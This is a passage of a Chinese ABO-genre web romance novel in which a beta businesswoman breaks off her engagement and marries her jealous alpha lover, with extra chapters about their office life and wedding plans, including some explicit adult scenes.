对面的人没有回复,千述也没管,直接去洗漱。等她洗完澡出来,就看到坐在沙发上孤零零的身影。 alpha很安静的坐在沙发上,似乎在发呆,面上的情绪空白。 “什么时候回来的?”千述问道。 她的声音在安静的房间里十分清晰,陆恪有些呆愣的看过来。alpha突然起身,直直的走了过来,很用力的抱紧千述,似乎要把自己融进千述的骨血里。 千述眨了眨眼,抬手包住陆恪,轻声问道:“怎么了?” 陆恪摇摇头,不肯说话,只把头埋在她的颈窝里。 千述直觉他的情绪有些不对,把陆恪扯出怀里,直直的看向陆恪。alpha低垂着眼,耷拉着眼睫,不愿意跟千述对视。 “你不开心。”千述直白道,“为什么?” 陆恪抬眼看她,不出意外的,眼尾红了。 “我看见你抱他了。” 陆恪又重复了一遍:“我看见你抱了那个beta,在楼下。” 千述语塞。 “你喜欢何延齐是吗?”陆恪有些控制不住心里不断滋生的酸涩,问出口的语气甚至带着质问。 如果说完全不在意那个beta,那肯定是假的,陆恪其实在意的要命。 和千述分开以后,陆恪一度失去了和千述所有的联系。这样的感觉是特别糟糕的,甚至可以说崩溃。 是在很偶然的机会,在A大的定位下,陆恪刷到了一条视频,热度很高,拍摄的是他们那一届的毕业晚会。 千述的身影很突然的出现在视频里的时候,陆恪的眼泪一下子就掉下来了。 昏暗的房间里,陆恪把千述的衣服抱在怀里。他看着视频的千述,微笑对着镜头打招呼。 “大家好,我是谢宁的室友,我叫千述。” 陆恪的眼泪落在千述的衣服上,他又抬手抹掉。把进度条拉回去,反反复复的看那个片段,反反复复的听那个久违的声音。 “我叫千述。” “我叫千述。” 就像是一瞬间找到了与世界的链接,陆恪不再麻木,有了情绪。 后来陆恪就用小号关注谢宁的账号,谢宁很喜欢分享生活。她的账号里,时不时就会出现千述的影子,有时候可能只是一个小小的背影。 但是陆恪一眼就认出了她。 后来陆恪还通过谢宁的账号,找到了向曼青和罗玉兰的账号。 千述去格林德瓦滑雪的时候,向曼青也在社交平台上分享了合照。那几张千述的照片陆恪现在还留着。 陆恪有时候想,这样好像已经很幸福了。可以通过一点点的消息,知道千述的近况,支撑着他勉强的生活。 这样已经很好了。 直到,千述和那个beta订婚了。 一个陌生的男人闯入了千述的生活,在陆恪缺席的这段时间与千述相识,相爱。 那一刻,陆恪真的太恨千述了。 她怎么可以像扔垃圾一样丢下他,然后又爱上别人呢 尽管已经做好了很多的心理准备,知道自己只是千述养在外面的情人,知道千述的爱是分成两份的,不均等的。 可是陆恪仍旧无法接受千述情感上的游离。 他霸道,强势,想尽办法的争宠,他问千述“我和那个beta,你更喜欢谁?” 陆恪只是想要更多的占有千述的爱。 可是今天,仅仅是看见千述轻轻的抱了抱那个beta,陆恪感觉自己的心都要碎了,痛得没办法呼吸。 他站在黑暗里,死死的咬着唇,看着那对在灯光下拥抱的璧人。他们的氛围太温馨和谐,好像他们天生就是最适合彼此的人。 但是,千述明明说过,最喜欢他的 “就因为这个?”千述低笑一声,抬手轻轻摩挲着陆恪泛红的眼尾。 “我抱了一下何延齐,你觉得我喜欢他?” “难道不是吗?”陆恪反问,他的眼神紧紧的盯着千述,带着执拗。 “他是你的未婚夫,你喜欢他,抱他都很正常,我没资格说什么。” 陆恪偏开脸,躲开千述的手,不允许千述摸他。 千述看着他离开的背影 ,陆恪径直去了卫生间。晚上的时候,陆恪背对着千述睡觉,不肯跟她讲话。 两个人都没说话,卧室里一时陷入诡异的寂静中。周遭的空气流速变得缓慢,变得让人喘不上气。 良久,千述动了。 她伸手过去摸alpha的脸,果然湿漉漉的。 指尖的泪晶莹,带着温热,千述的目光凝在上面,有些发神。 有时候千述会想,自己是什么时候喜欢上陆恪的。 其实她很难说出一个具体的时间,因为在以前,千述也不清楚什么是喜欢,她不太会爱人。 她对陆恪的感情从一开始就是利用,包括后面离开他,千述都没有任何的犹豫。 可是千述会被陆恪身上张扬的生命力吸引,目光不自觉的落在他的身上。 千述会被陆恪的眼泪烫得不知所措,只会很闷的抬手给他擦眼泪。 千述会因为陆恪在陵墓前孤寂的身影而心软,收留他,跟他挤在一张小床上。 千述在看到陆恪深陷易感期的痛苦时,会心疼,想要退缩,不愿他重复易感期的痛苦。 千述会因为鲜血从陆恪身体里不断流失,感到恐慌,害怕,在医院走廊守到天明。 所以,如果说千述对陆恪似乎没有喜欢,好像也不尽然。 她的喜欢并不浓烈,克制内敛,不宣之于口,只在一些微小的动作中,有些甚至连千述自己都没有察觉。 可这也是喜欢。 千述的目光从指尖的晶莹,移到那个背对着她的身影上。alpha把被子裹得紧紧的,只有柔软乌黑的发还留在外面。 “要不我们结婚吧。” 夜晚的卧室里,千述的声音突然响起。女beta的声音平静温和,似乎在说一件稀疏平常的事情,连陆恪都没反应过来。 陆恪没有回答,千述也不恼,拿着手机翻看日历:“我看过几天就是一个好日子,我们先去把证领了,婚礼后面再办。” “婚礼地址你选,你想去哪里办婚礼都行,我会积极配合。如果你喜欢热闹,就多邀请些亲人朋友。如果你喜欢安静,我们也可以只有两个人。” 千述絮絮叨叨的说着,她没结过婚,也不清楚结婚有哪些流程,会有哪些标准。 陆恪已经被千述的话砸得头晕眼花。直到千述问他,是想在意大利的庄园结婚,还是在巴厘岛的海边,陆恪猛地直起身,转头看她。 “你又在骗我!”陆恪生气道。 千述不由失笑,好脾气道:“我怎么骗你了,我说跟你结婚也是在骗你吗?” “你怎么跟我结婚?你未婚夫同意你跟情人结婚吗?千述,你总是这样骗我,以前也是!”陆恪真的很难过了,眼看着要跟千述翻旧账。 “我已经退婚了。”千述忙解释道。 陆恪的旧账还没开始翻,就被千述这句解释堵在嘴边,他愣住,心跳漏了一拍,眼眶红了。 “骗子,你又想骗我。”陆恪看着千述,黑黝黝的眼看着她。 “真的!你怎么不信,今天已经跟何延齐的妈妈说了退婚的事情了。” “可是今天晚上你还抱了那个beta。”陆恪哽咽道。 他又开始提这件事了,简直是过不去的坎,千述在他这里都快留下案底了。而且陆恪占有欲太强,见不得千述和任何人亲密。 当时连他弟一个小学生的醋也吃。 “那我要怎么做,你才能相信我。”千述无奈道。 “你现在去网上预约最近一天的领证时间。”陆恪吩咐道 领证那天是星期五,天气好的不得了。天空湛蓝,阳光和煦,微风徐徐吹。 陆恪前一天晚上就失眠,翻来覆去睡不着。千述都快困得去见周公了,陆恪却趴在千述耳边,精神奕奕说话,他有些紧张。 “千述,你真的愿意跟我结婚吗?” “嗯。”千述呓语。 “那你为什么愿意跟我结婚,你为什么不跟别人结婚。”陆恪继续问道。 千述真困得没脾气了,已经凌晨两点了。 千述摸着陆恪的脸,亲了亲他的唇,含糊道:“因为喜欢你。” “只喜欢你。” 陆恪的脸一下子就红了,连耳根也悄悄红了起来。他凤眼一挑,含着春意,吻落在千述的唇上。 “我也是,只喜欢你。”陆恪悄声告白。 红色的钢印落在结婚证上时,意味着千述和陆恪的关系得到了法律的认可。 “两位新人再靠近一点!” 结婚证上那张并肩的合影,左边平静温和,右边张扬俊朗。 两人的肩膀轻轻相靠,仿佛两颗年轻的树,在岁月的土壤里,根系交缠,扎根在深处,共担人生风雨。 良缘由夙缔,佳偶自天成- 正文完- 第72章 番外只属于你 陆恪跟千述结婚了,最先知道的是方知明。 没办法,很难不在好兄弟面前炫耀。 方知明那时候已经回了A市,他现在俨然成为一个社畜,在自家公司上班,朝九晚五。 摸鱼偷偷打游戏的时候,最上面跳出来一条消息,陆恪给他发了一张图片。方知明退出游戏,点进去看。 方知明:“?” 方知明:“陆哥,你给我发网图干啥?” 陆恪给方知明发的照片很含蓄,就是带着戒指的手,拿着结婚证,没有露出里面的照片。拍得挺有氛围感的,方知明以为是网图。 方知明有时候真的感慨陆恪的恋爱脑,分手几年了,还眼巴巴的凑上去给千述当三。在面对千述的时候,陆恪就算做出再惊天动地的事情,方知明都会习以为常。 但是真不包括结婚…… “陆哥?到底啥意思啊,你想结婚了?” “但说实话,千述那未婚夫看起来不像是个简单的。一时半会儿你估计上不了位,徐徐图之吧。”方知明低头吭哧吭哧打字,安慰好兄弟。 因为陆恪的关系,方知明特别去关注了一下千述这位beta未婚夫。不查不知道,一查,嚯!还挺厉害。 响当当的学历,长相家世能力无一不缺,最重要的还是个beta。方知明暗自咂舌,千述这眼光还不错,选了个这么顶的。 陆哥压力真挺大。 看到方知明发来的消息,陆恪挑了挑眉,嗤笑一声,又给方知明发了一张照片过去。 徐徐图之?根本不需要。 太看不起陆恪了,又争又抢的,霸道强势,还爱在千述面前装可怜,谁能赢过他啊。 这次陆恪更直白,发的是跟千述在结婚证上的合照,照片上两个人般配的不得了,红底,白衬衫,肩膀轻靠,注视着镜头。 紧接着陆恪发来一条消息:“千述跟我求婚,我答应了。” 很云淡风轻,很漫不经心,超绝不经意的说出被千 述求婚的事情。 “靠!!” 方知明看着手机上陆恪发来的信息,瞠目结舌,在工位上发出一声爆炸惊呼,周围的员工都向方知明看过来。 方知明他哥走到他的工位,用屈指叩响他的桌子,凉幽幽的看着他:“上班时间,不要发出奇怪的声音。” 方知明瞥他哥一眼,立刻捂住自己的嘴。 他急匆匆的拿着手机去厕所摸鱼,直接给陆恪打了个电话过去,那边慢悠悠的接了。 “靠!陆哥!你来真的啊?!”方知明忍不住了,率先开口。 他压低声音,震惊道,“啥时候领证的,我怎么没听见消息,你逗哥们我呢?” “今天上午。”陆恪淡淡道。 “千述说今天是个好日子,她想今天领证,我没什么意见。”陆恪在那边漫不经心的说着,不经意的炫耀。 “不是!靠!千述跟你求婚?那她那个beta未婚夫怎么办,那边处理好了吗?我咋记得前段时间你还在美滋滋当情人呢?!”方知明又问。 陆恪低哼一声,道:“千述退婚了。” “千述根本不喜欢那个beta,跟他都是假的,千述只喜欢我。”电话那边的陆恪声音理直气壮。 那天晚上,千述就向陆恪坦白了跟何延齐的关系。前因后果讲得清清楚楚,明明白白。 陆恪实在是太在意何延齐了,或者说他不是在意何延齐,而是他无法接受千述居然会喜欢别人。无论对方是什么何延齐,张延齐,陆恪都没办法接受。 而且他也摆不正自己情人的位置。 谁当情人不是温柔体贴,隐忍大度。但陆恪偏偏不,经常吃醋也就算了。像千述抱了一下何延齐被他看到了,还要跟千述闹脾气,冷战。 就很霸道。 方知明在那边震惊几息,又点开照片,仔细看了很久,看结婚证上的名字,时间,真不像是p的。 方知明缓了一会儿,点赞道:“陆哥,你真是闷声办大事,吾辈楷模,恭喜你成功上位。” “谢谢。”alpha的声音带着骄矜。 “没想到,你居然是哥们几个,最早结婚的,太神奇了。”方知明感慨。 方知明算是千述和陆恪感情的见证者,从他们大学到工作,一路看过来,还挺唏嘘的。这么坎坷的感情,居然还能起死回生,修成正果 直到拿到结婚证的那一刻,陆恪都还觉得脑子懵懵的,感觉像飘在天上,很不现实。 在民政局登记的时候,他全程都很平静。不知道是昨晚熬夜没睡醒,还是怎么的,总之出乎意料的平静。 但是拿到结婚证,在车上的时候,陆恪突然说话:“千述。” “嗯?” 千述当时正在系安全带,低着头,没注意道他。等抬起头的时候,转头一看,alpha眼皮红红的。 “怎么了?”千述惊讶问道,“不会是领了证就后悔了吧?” “不是。”陆恪摇头。 “千述,我现在是不是在做梦啊?”陆恪特别难过,紧紧的盯着千述。 他以前经常会梦到千述,有时候是很美好的。就像读书的时候,千述会牵着他的手,在黄昏的A大操场散步,然后在人少的地方亲他。 也有很糟糕的梦,就像那天千述离开的时候,天色已暗,灯光惨白,落在千述身上,她说她不喜欢陆恪,她说她不喜欢alpha。 现在如果是梦境,那应该是最美好的梦境了。 千述扑哧一笑,凑过去轻轻咬了陆恪的下唇。然后抬眼看他,问道:“痛吗?” “痛。”陆恪低声道。 千述微笑的看着他,道:“梦境里感受不到痛,如果你觉得痛,就不是在做梦。” “不。”陆恪反驳,眼睛里泛上水意,“梦里也会感觉到痛。” “哪里会感到痛?”千述问道,有些疑惑。 “这里。”陆恪牵着千述的手,缓缓放在心脏上的位置。 “梦里太难过的时候,这里会痛,很钝的痛。”陆恪涩声道。 千述怔了一下,手下的肌肤透过布料传来温热。心脏在胸腔里蓬勃的跳动着,带着炽热的爱意,永不停歇。 “那这里现在还会痛吗?”千述平和问道,很耐心。 “不。”陆恪摇头,他很难说出现在的感受,就是很想哭,“千述,和你重逢的那一刻,它就不痛了。” “千述,它是属于你的。”陆恪红着眼睛道。 他凑过来,想要亲吻千述。千述用手捏住他的下巴,直直的看着他,眼底漆黑。 “那你呢?”千述声音平静,笑容也浅。 “什么?”陆恪喃喃问道。 “你属于我吗?”千述道。 陆恪抬眼看她,黑黝黝的眸子,长久的看着千述,带着偏执: “属于你,只属于你。” 就像是最忠实的信徒,虔诚的,无私的,向信奉的神明献上自己的所有,包括身体,包括灵魂。 千述勾唇,轻轻笑了笑,手指无意识的摩挲陆恪的唇,带着难以名状的涩意。 “真乖。” 千述的吻落在alpha的唇上 方知明有问陆恪领证的事情,有没有告诉陆凌风。 “没告诉他。”陆恪回答。 陆恪向来随心所欲,自然不会去过问陆凌风的看法。 陆凌风还是从时谨那里知道的消息。他前段时间去国外出差,才刚回国,还在倒时差。陆凌风睡醒下楼,就看到时谨和陆昱辰母子俩脑袋凑在一起,看着手机。 “手机里有啥好东西,让你们都这么感兴趣。”陆凌风问道。 陆昱辰抬头,他现在上了初中,已经是一个半大小子了,比小时候开朗了不少,臭屁初中生。 陆昱辰道:“爸,哥哥好像结婚了。” 这话石破天惊一般,把陆凌风定在原地,劈得大脑反应迟钝。 “你说谁结婚了?”陆凌风呆滞问道。 “哥哥啊!”陆昱辰拿着手机,三两步走到陆凌风旁边,“你自己看,这是不是哥哥发的朋友圈,他发了和千述老师的结婚照。” “照片拍得真好看,哥哥和千述老师在一起很般配。我以前就看出来哥哥喜欢千述老师了,果然没看错!”陆昱辰洋洋得意道。 哪怕过了这么多年,陆昱辰依旧称呼千述为老师。 陆凌风一把抢过手机,把照片放大。这凤眼,这气场,没错,是自己儿子! 但这不是重点。 重点是为什么儿子结婚,他这个当爸的都不知道啊?! 就算陆恪和陆凌风关系一般,千述和陆恪还是回去了老宅一趟。 陆昱辰坐在沙发上玩手机,时不时往门外看去。直到看到两道身影从门外进来的时候,陆昱辰突然站起来,有些局促。 “哥哥,千述老师。”陆昱辰捏着手指跟二人打招呼。 又有点像小时候的样子。 陆恪上前,揉了揉他的头发,还像以前。 千述微笑道:“好久不见,陆昱辰。” 打完招呼,陆昱辰头转向厨房,扯着嗓子,吼了一声;“爸,妈妈,哥哥和千述老师到了。” 陆凌风穿着围裙从厨房里探个头出来,道:“你们先坐会儿,菜等一会儿就好。” 平时都是家里的厨师做饭,但是今天陆凌风脑子抽了,破天荒的一定要自己做菜。时谨看不过去,在旁边给他打下手。 陆凌风就做了两道菜,一个清蒸鲈鱼,一个菠萝咕咾肉,其他的是家里厨师做的。 饭桌上,菜一道道端上来。席间有些沉默,陆昱辰埋头吃饭,没人充当气氛组。 千述更不是话多的。 陆凌风看看这个,看看那个,最后清了清嗓子,道:“听说你们前段时间领证了。” 陆恪“嗯”了一声。 陆凌风也没恼,继续吃饭。 “你尝尝这个鲈鱼,野生的淡水七星鲈,很新鲜,刚钓上来的。”陆凌风给陆恪夹了一筷子鱼肉,放在陆恪碟子上。 “谢谢。”陆恪淡淡道。 席间吃饭确实憋闷,大家都没怎么说话。只要陆恪回去,就会变成这样,很奇怪的氛围,所以他很少回去。 结束以后,陆凌风才再次开口:“既然你跟千述结婚了,那她理应分得陆氏的股份。” 千述抬头,看向陆凌风,没说话。 陆氏股权的含金量不用多说,哪怕只是百分之一,也是令人难以想象的数字。涉及到资产方面,千述很谨慎的没有开口。 陆凌风没管这些, 他看着陆恪继续道:“就当是爸爸送给你的新婚礼物。” “相比与把这股份给你,给千述会让你更能接受一点。” “能看到你幸福,爸爸很欣慰。” 陆凌风看向陆恪的眼神是很复杂的,混合着愧疚,期待,很多情绪杂糅在一起,让人难以读懂。 “你以后可以经常回来住,你弟弟也总是念着你,爸爸也很……” “我吃饱了。”陆恪突然道,他站起身,拉着千述往外走。 陆凌风张了张嘴,看着他的背影,话在嘴边没再说出口。 Alpha身形高大,背影挺拔,可以独当一面。早已经不是小时候那个拿着电话小心翼翼打电话,问爸爸什么时候有空的小孩子了。 陆恪一路上都没讲话,千述时不时看他一眼。到了云栖御庭的地下停车场,千述熄火,看向一路上都情绪不太高的Alpha。 “需要拥抱吗?”千述温和道。 陆恪看着她,吸了吸鼻子,很委屈的投入千述怀中,头埋在她的颈窝里,蹭了蹭。 千述揉了揉Alpha的头发,笑着打趣道:“不会又要哭了吧?” “不会!”陆恪恼怒,觉得有点羞耻,轻轻的咬了一口千述的颈侧。 然后又卸了力度,轻轻的舔舐那块肌肤,留下一个红痕。 “千述,我已经属于了你。只要在你身边,我就会很坚强。” 千述笑着,觉得他可爱极了。把人扯出怀里,捏着下巴亲他 陆恪顺从的闭着眼,微微启唇,任凭千述的舌尖探入,与他的舌勾缠在一起。 周围的空气,像拉丝的麦芽糖,甜甜蜜蜜的缠绕在两人身边。 【番外合集】 第73章 番外好乖啊,大少爷 千总跟何工退婚了,公司里的人后知后觉的才发现。 当然,并不是两人在朋友圈或者是其他的社交平台发表退婚公告,也不是两人之间针锋相对,形同水火。 都不是。 千述跟何延齐的关系还是和平常那般,没有任何变化,并肩的工作伙伴。 那千言的员工是怎么发现的? 当然是因为龚阳阳在千述和陆恪在办公室谈事情的时候,推门进去拿报表。然后碰巧撞到小陆总坐在沙发上仰着头,闭着眼,被自家老板亲得脸上泛着红霞。 OMG!!! 龚阳阳一下子定在原地,倒吸一口凉气,整个人呆若不鸡。 “不好意思,我走错办公室了。我这眼睛怎么突然一花,什么都看不到了,我什么都没看见。”龚阳阳开始胡乱编造理由,逃似的退出千述办公室,还顺便把门带上。 “我的老天爷,这什么情况啊!!”龚阳阳内心疯狂尖叫,面上还要装出淡定自若的样子,给龚阳阳憋得难受。 门关上以后,千述松开了陆恪的唇。陆恪已经被亲得缺氧,脑袋晕乎乎的,还追上去想要继续亲。 千述垂眼看他,觉得Alpha这样很可爱,轻笑一声。 “不可以再亲了,都被别人看到了,等会儿你这样还怎么出门。”千述勾唇,一本正经道。 陆恪睁开迷蒙的双眼,脑子清醒了一点。直直看着千述,哼了一声:“那刚刚是谁把我亲成这样的?” “是我。”千述坦荡承认。 本来陆恪来千言谈合作的后续事宜的,其实用不着他本人来,分公司的经理来就行了。 “我也一起去。”出发的时候,陆恪突然道。 “这个……当然好啊!小陆总能一起来,工作推进得会更加顺利。”经理惊讶了一下,超高的情商和应变能力,让他立刻转变了口风。 陆氏一行人来了千言,龚阳阳在楼下等着他们,人一来就领着众位去了大会议室。 会议室里,千言这边的人已经在等候,千述坐在首位。 陆氏的人一来,千言这边的站起身来。以千述为首,友好的与陆氏那边的工作人员握手社交。 “小陆总今天亲自来,倍感荣幸。”千述微笑着伸出右手。 很礼貌很客气,看着跟不太熟一样。 陆恪定定的看了她两秒,然后抬手,与千述相握。就是很普通的社交握手,与任何人并无不同。 但是在松开的时候,陆恪的指尖轻轻的划过千述的掌心。 很轻,像羽毛拂过,酥酥麻麻的。千述挑了挑眉,似笑非笑的看向面前骄矜的Alpha。陆恪勾唇一笑,随后淡定松开千述的手。 “很看重与千言的这次合作,也很欣赏千总为人,所以想要亲自与千总接触,聊聊细节。”陆恪正色道,端的是一派云淡风轻。 “小陆总过誉了。”千述平和道。 千述和陆恪只是领了证,没有办婚礼,所以很多人都不知道他们结婚了。再加上陆恪当时只发在了自己的私人账号上,工作中许多人都不知道千述和陆恪的关系。 两方人坐好,进入工作环节就变得严肃正经许多。陆氏这边的要求高,提出的问题都很犀利,没留什么情面。但千言这边的人也不是花架子,做了很多准备工作,认真专业,应对自如。 这场会议足足开了一个小时,两边的人都处在精神紧绷的状态。待到结束的时候,所有人都松了口气。 千述和陆恪起身,千言和陆氏的人也跟着起身,双方握手,互道合作愉快。 临走时,陆恪面色正经,突然道:“我还有事情需要和千总商议一番。” 众人面面相觑,没有开口,不知陆恪是何意,生意上的事不是已经说完了吗? 千述眸光闪动,随即笑开:“是的,我和小陆总还有点私事。” 陆氏的人只能先行离开。 陆恪进了千述的办公室,这是他第一次来千述办公室,所以有点新奇。他只在千述的办公桌转了一圈,并没有多翻看。 反而是千述,从抽屉里拿出来一个相框,递给陆恪。 陆恪怔了一下,垂首看着相框,目光长久的凝在上面,声音干涩道:“你什么时候准备的?” “前段时间翻相册,突然看到了这张照片,还挺好看的,就打印了下来,放在办公室。”千述笑道。 她也去看这张照片。 那时候他们大学毕业,拍毕业照的时候,两个人穿着学士服,微笑的看着镜头。他们站在绿荫下,阳光透过树叶,斑驳的落在他们身上。 很年轻,鲜活,充满生命力。 那段时间,应该是两个人关系最好的时候。 只是后来,发生的事情越来越多,两人的感情也逐渐走向破裂。 “你那个时候有一点喜欢我吗?”陆恪突然问道。他的目光从照片里微笑的千述,转向身边的人。 或许是后面的发生的事情太难过惨烈,以至于最开始的美好宛若镜花水月般,连感情也如此。 “你感受不到吗?”千述笑眯眯的看向他,然后凑上去轻轻吻了一下,“我一直都很喜欢你啊,见到第一面就喜欢。” 陆恪的长相完全是千述的菜,哪怕他是Alpha,千述仍旧被他吸引。 只是,于千述而言,那个时候有比喜欢更加重要的东西,需要她去完成。喜欢被排在了很后面。 当然这话她没有煞风景的说出来。 两个人亲吻在一起。 千述扶着陆恪的腰,两人吻得难舍难分。陆恪腿碰到沙发然后跌坐下去,交缠的舌尖分 开,银丝断开。 陆恪的眼眸变得迷离,充满水光,他仰头看着千述。千述的目光落在他的唇上,红肿水润,看着很好亲。千述的眼底闪过欲\色。 她站在陆恪的两腿之间,捧着他的脸,更深的亲吻着。空气逐渐变得稀薄,陆恪的心跳动得乱七八糟的。 直到龚阳阳的到来,这个吻才结束。 还在上班时间,陆恪只在千述的办公室呆了一小会儿,后面就面色自然的离开了。 他走过办公区,龚阳阳意味不明的看着Alpha挺拔的背影。 公司里开始传千述和何延齐分手的传闻,还传到了龚阳阳的耳朵里。龚阳阳就跟找到了同类一样,欣喜若狂。 “我听说千总跟何工分手了。” 茶水间里,几个员工凑在一起,悄咪咪的聊办公室八卦。 “你这是听谁说的,靠谱吗?”员工A道。 “绝对靠谱!是何工身边的助理说的。他们去出差路上,何工接电话,跟对面的人解释他跟千总退婚了。”员工B道。 “啊?!真的假的!何工说这么明白?!”员工A道 “是的,也不知道对面的人说了什么,何工突然就情绪不对。助理停在了服务区,何工下去打了半个小时电话。”员工B悄咪咪道。 他压低声音,小声道:“听说回来的时候,眼睛都红了。” “难道是舍不得千总?”有人猜测。 “这个就不知道了,谁敢去问啊?!”员工B道。 “也是。”员工A认同道。 “两个人退婚,对公司有影响吗。”有人问道。 毕竟千述和何延齐都是公司举足轻重的人,他们俩如果闹掰,公司能发生大地震。 “应该不会吧,都过去这么久了。千总跟何工看起来还挺体面的,没事儿人一样的。”员工A道。 “啊……真的好可惜,他们为什么会分开啊,还以为明年就会结婚了。”员工C感叹道。 “感情淡了呗,还能有啥。或者有别的喜欢的人了。”有人回答。 “千总好像没新对象吧。”员工B问道。 “有啊。”员工A坚定回答。 “谁?”所有人都好奇的向她看过去,包括一直在茶水厅竖起耳朵偷听的龚阳阳也看向了她。 员工A耍宝一样的,挺直腰背,一本正经道:“我啊,千总新对象。” 千述在公司属于是性格平淡的高知人设,看起来不太好接触,但却意外的好说话。 不仅公司福利好,也很有人情味。例如之前有员工重病要做大手术,钱不够,千述听说以后,还让财务提前支了一笔钱给他。后来那位员工病好复岗以后,直接给千言谈到了一个大单子。 所以千述在公司想嫁给她的人,多得很。 “滚!”众人听后,笑着推搡她,“又在痴女做梦了你!” 龚阳阳在旁边听了全程,心中浮现淡淡的得意:别人都不知道老板和小陆总的关系,只有她龚阳阳知道 千述有一段时间加班挺晚的,陆恪说下班正好来接她,千述都拒绝了,说她要加班。 有一次加班很晚,公司工位上很多人都回去了,空荡荡的,很安静,只有机器偶尔发出“滴——”一声。 唯独千述的办公室还亮着灯,千述坐在办公桌前,认真的看着电脑。 门被推开的时候,千述抬头看了一眼。 “你怎么来了,不是说要加班让你先回去吗?”千述温和问道。 alpha身高腿长,比例又好,在西装的包裹下,竟然透出几分涩/气。 “我想上来看你一下。”陆恪回答。 “可能还要一段时间才能搞完,你先回去吧,在这儿等着无聊。”千述取下眼镜,捏了捏发酸的眼睛。 她这段时间看电脑看久了,觉得头有点胀。 陆恪走到千述身后,修长的手指放在千述的太阳穴上,力度适中的按揉着。千述发出一声谓叹,闭上眼。 “这个力度可以吗?”alpha低声问道。 “可以。”千述闭眼道。 整个公司只有他们两个人,这是一种很神奇的感觉,人的感官在安静的氛围里会突然放大。两人之间萦绕着静谧平静的氛围,很少见。 陆恪的手揉着揉着,指尖就开始往下,摸着千述的脸。千述睁开眼,捉着他的手,顺势在alpha的掌心亲了一下。 千述抬头看着alpha,两人的目光在寂静的空间里纠缠在一起。 暧昧,缠绵。 陆恪也不清楚自己的衣服是什么时候脱下来的,只感觉千述的手指带着灼热的温度,只是轻轻点过,肌肤就会滚烫。 陆恪的手被皮带束缚着,挣扎不开,嘴被领带捂着,涎水不自觉的把领带濡湿。 他深陷在办公椅里,千述靠在后面的办公桌上,微微弯腰。 手指沿着肌肤,顺势而下,然后到了那里。 “呃”陆恪闷哼一声,他没办法说话 千述总是十分恶劣的,比如她还衣着整齐,而某人却十分糟糕。 到了后面,alpha已经有些受不了,大汗淋漓,眼睫濡湿,胸膛起起伏伏。千述抽出桌上的纸巾擦手,漫不经心的。 办公室里的空气太灼热了。 千述心里有点庆幸,幸好办公室里没监控,不然高傲的alpha会羞愧致死。 陆恪还沉浸在余韵里,喘息着,眼前冒着白光。 他现在什么也想不到,自然而然的听不见别的声音。但是千述不同,她现在清醒的很,所以办公室外面的声音响起,她一下就注意到了。 “咦?老板还没下班吗,办公室亮着灯。”是龚阳阳的声音。 办公室的门被敲响:“老板你在吗?” 门外的声音隔着门板,听得有点闷闷的。但是听在陆恪耳朵里,就像催命的魔咒一般。他现在这个糟糕的样子,肯定不能被别人看到。 他立刻想要挣开手上的皮带,嘴里发出呜呜声,因为紧张,一双凤眼格外亮,像两颗剔透的玻璃珠。 漂亮极了,千述心中感叹。 里面没人回答,龚阳阳有些奇怪:“没人吗,那怎么还亮着灯。” 龚阳阳推门进来,愣住:“老板,原来你在啊。” 千述一本正经的坐在办公桌前,办公室里安静,只有千述一人在黑夜中伏案工作。 “嗯,在加班。你回来有什么事吗?”千述问道。 她一只手放在桌上,另一只手自然垂落在桌下。 纤细的手指探入alpha温热的口腔,肆无忌惮的搅弄着alpha的唇舌。领带不再附着在alpha的口上,这反而让他需要更努力的控制住自己不要发出声音。 办公桌下的空间对于alpha而言太过于狭小,他只有尽量蜷缩自己的身体。陆恪将脸贴在千述的腿上,湿漉漉水润润的眸子看向她。 舌头被玩弄的感觉并不好受,会控制不住涎水。陆恪只能努力忍着,一边舔着千述的舌尖,一边吞咽着自己的口水。 “没,没事,我东西忘拿了。”不知为何,龚阳阳觉得这办公室里的氛围有点奇怪。 她忙道:“老板,你还是早点回去休息吧,现在有点晚了。” 言罢便退出了办公室,去自己工位上拿了东西就走。 办公室里再次恢复了安静,千述低头,看向躲在桌子下的alpha。抽出自己的指尖,拍了拍alpha潮红的脸,轻轻的笑了笑。 “好乖啊,大少爷。” 第74章 番外我愿意 五月,A市的天气很好,天空湛蓝,树叶新绿。 宜嫁娶。 千述和陆恪的婚礼,在暮春初夏这个季节交替的时候。此时,距离他们领证已经过了整整一年。 相比于当初领证的匆忙,让人猝不及防。举办婚礼反而拖了很长的时间,时间长得陆恪心慌意乱。 尽管两人已经同居生活,日子平淡幸福。但是没办婚礼,陆恪始终觉得心里的石头没落地。 法律的一纸婚约终究轻了点,只在二人之间有分量。但陆恪想要的,是所有人都知道他和千述的婚姻关系,并且祝福他们。 可是千述始终不为所动。 “你直接问呗!问她什么时候才愿意举办婚礼。”方知明在视频那端给陆恪出主意。 “我主动去问?”陆恪问言抬眼,看向视频上面的人,声调上扬。 厨房里,Alpha围着围裙,正在专心切菜。黑色的头发柔顺的耷拉在他的额头,看着就很良家妇男。 自从跟千述在一起后,陆恪一整个回归家庭,除了工作,就是照顾千述,已经往人夫的方向越走越远。 脾气有点暴躁的人夫。 “对啊!谁想办婚礼,谁就主动一点嘛,陆哥你想要办婚礼,就去直接问千述,什么时候娶你。”方知明理所当然道。 方知明用的“娶”,两人都没觉得有任何不对。 “我为什么要主动问?”陆恪语气生硬,压着脾气。 “难道我还要求着她办一场婚礼,当初是她 先提的领证,我稀里糊涂的就答应了,我可是第一次结婚。” “谁不是第一次结婚啊,人家千述还第一次结婚!”方知明掏掏耳朵,觉得好兄弟实在是无理取闹。 “她先提的领证,办婚礼也应该她主动提,她这样拖着什么意思?难道我不值得这个婚礼?” 陆恪越说越生气,把刀往菜板上一扔,不想给千述做饭了。 “陆哥,你也就在我面前态度这么凶。你有脾气,也去千述面前这样闹。”方知明当着正主面吐槽。 在千述面前乖的跟什么似的。 …… 陆恪在千述面前早都明里暗里的提过很多次了,比如说。 在两个人缠绵悱恻的时候,陆恪会不经意的提起,公司谁谁谁举办婚礼,邀请他去参加。 在昏暗的房间里,只有一盏床头灯还亮着,灯影在墙上浮动。 陆恪半阖眼睑,面色潮/红,背对着千述,随着动作晃动,手指陷入床单。 “什么?”千述额头上附着薄汗,陆恪声音碎得听不清。 陆恪艰难的转过头,眼中水汽氤氲,喘息着:“公司有员工举办了婚礼,邀请我去参加。在紫河湾那边,布置的草地婚礼。” “这周末吗?”千述问道。 “嗯在这个周末,你一起去吗?”陆恪的声音被撞碎,不成语调,他轻微挣扎着,“你慢一点” 千述动作没停,顺手给陆恪擦了擦腰际的汗,随口道:“这周可能不行,我明天就要出差,周末可能回不来。” 千述以为陆恪是让她陪他一起去,毕竟他们已经结婚了,很多场合会一起出席。 